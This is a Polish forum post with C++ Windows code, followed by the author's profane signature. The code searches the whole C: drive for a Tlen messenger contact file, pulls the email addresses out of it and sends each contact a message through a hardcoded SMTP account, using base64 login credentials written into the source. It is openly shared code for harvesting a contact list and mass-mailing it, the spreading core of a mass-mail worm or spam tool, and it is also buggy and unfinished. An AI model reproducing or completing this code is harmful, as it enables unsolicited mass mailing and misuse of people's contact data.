Kod php:
#include <vector>
#include <string>
#include <fstream>
#include <dirent.h>
#include <windows.h>
using namespace std;
void mailto(char adrs[]){
char Bufrecv[1024];
WSADATA W;
SOCKET Socks;
WSAStartup( 0x101, &W );
hostent *H=gethostbyname("smtp.o2.pl");
struct sockaddr_in Saddr;
Socks=socket(AF_INET,SOCK_STREAM,0);
Saddr.sin_family=AF_INET;
Saddr.sin_port=htons(25);
Saddr.sin_addr.s_addr=*((unsigned long *) H->h_addr);
connect(Socks,(sockaddr*)&Saddr,sizeof(Saddr));
char rcp[]="RCPT TO: <";
strcat(rcp,adrs);
strcat(rcp,">\n");
char helo[]="HELO ziom.com.pl\n";
char auth[]="AUTH LOGIN\n";
char login[]="TXl0cm9we34fQucGw=\n";
char pass[]="bW3jdi8MQ==\n";
char mform[]="MAIL FROM: <[email protected]>\n";
char dat[]="DATA\n";
char tresc[]="Subject:blablabla test\nFrom:Kochanie\nTo:[email protected]\n Test klijenta poczty. Jeśli dostałeś ten \"list\" znaczy to że twój adres znajduje się w mojej książce adresowej .Jeżeli uważasz że nie powinnaś dostać tego listu to sorry zapewniam że więcej się to nie powtórzy \n.\r\n.";
recv(Socks,Bufrecv,sizeof(Bufrecv),0);
memset(Bufrecv,0,sizeof(Bufrecv));
send(Socks,helo,sizeof(helo)-1,0); /*send helo*/
recv(Socks,Bufrecv,sizeof(Bufrecv),0);
memset(Bufrecv,0,sizeof(Bufrecv));
send(Socks,auth,sizeof(auth)-1,0); /*send auth*/
recv(Socks,Bufrecv,sizeof(Bufrecv),0);
memset(Bufrecv,0,sizeof(Bufrecv));
send(Socks,login,sizeof(login)-1,0); /*send login*/
recv(Socks,Bufrecv,sizeof(Bufrecv),0);
memset(Bufrecv,0,sizeof(Bufrecv));
send(Socks,pass,sizeof(pass)-1,0); /*send pass*/
recv(Socks,Bufrecv,sizeof(Bufrecv),0);
memset(Bufrecv,0,sizeof(Bufrecv));
send(Socks,mform,strlen(mform),0); /*send mail from*/
recv(Socks,Bufrecv,sizeof(Bufrecv),0);
memset(Bufrecv,0,sizeof(Bufrecv));
send(Socks,rcp,strlen(rcp),0); /*send rcp*/
recv(Socks,Bufrecv,sizeof(Bufrecv),0);
memset(Bufrecv,0,sizeof(Bufrecv));
send(Socks,dat,sizeof(dat)-1,0); /*send data*/
recv(Socks,Bufrecv,sizeof(Bufrecv),0);
memset(Bufrecv,0,sizeof(Bufrecv));
//itd
}
void spr(char path[]){
char next[200];
char nazi[200];
char nextfile[200];
DIR *dirs;
struct dirent *pent;
dirs = opendir(path);
vector <string> nextme;
while(pent=readdir(dirs)){
nextme.push_back(pent->d_name);
if(strstr(pent->d_name,"kontakty.xml")!=0){
memcpy(&nazi,path,sizeof(nazi));
strcat(nazi,"\\");
strcat(nazi,"kontakty.xml");
break;
}
else {
for(int i=2;i<nextme.size();i++){
string nexif = nextme[i];
nextme.pop_back();
const char *jmp=nexif.c_str();
memset(nextfile,0,sizeof(nextfile));
memcpy(&nextfile,jmp,sizeof(nextfile));
char direct[2500];
memcpy(direct,path,sizeof(direct));
int j = strlen(direct);
if(direct[j]!='\\'){
strcat(direct,"\\");
strcat(direct,nextfile);
spr(direct);
}
else{
strcat(direct,nextfile);
spr(direct);
}
}
}
}
vector <string> line;
string adres;
ifstream in(nazi);
while(in>>adres){
line.push_back(adres);
}
for(int i=0;i<line.size();i++){
string h(line[i].substr(3,line[i].find("n=")+line.size()));
for(int i=0;i<h.size();i++){
if(h[i]=='@'){
h.erase(i,h.length());
}
if(h[i]=='\''){
h.replace(i,i,"@tlen.pl");
}
}
int a = h.length()-1;
if(h[a]!='l'){
h.substr(a-1,a+1); /*lol ;]*/
}
int c = h.length();
int d = c-8;
if(h[d]!='@'){
h.erase(0,c);
}
for(int i=0;i<h.length();i++){
if(i=h.length()){
string pss = h.substr(0,i);
const char *cut = pss.c_str();
memset(next,0,sizeof(next));
memcpy(&next,cut,sizeof(next));
h.erase(0,i);
mailto(next);
printf("send mail to:%s DONE\n",next);
}
}
}
nextme.clear();
line.clear();
}
int main()
{
spr("C:\\");
return 0;
}
Ostatnio edytowane przez naichniach : 01-08-2008 - 17:41
Powód: KURCZE
Dlaczego wszystkie piosenki są o sexie ,miłości
i innym pozytywnym gównie
Nie mogły by być o czystym bólu ,nienawiści i frustracji i innych prawdach których więcej niż mniej ? ......... Ten świat to plastikowe ,fałszywe gówno
nie mające nic wspólengo z moją rzeczywistością.
Mtv to nie mój świat
(tak jestem nie dojrzały ,mam kompelksy ..... i wiecie co? i chuj)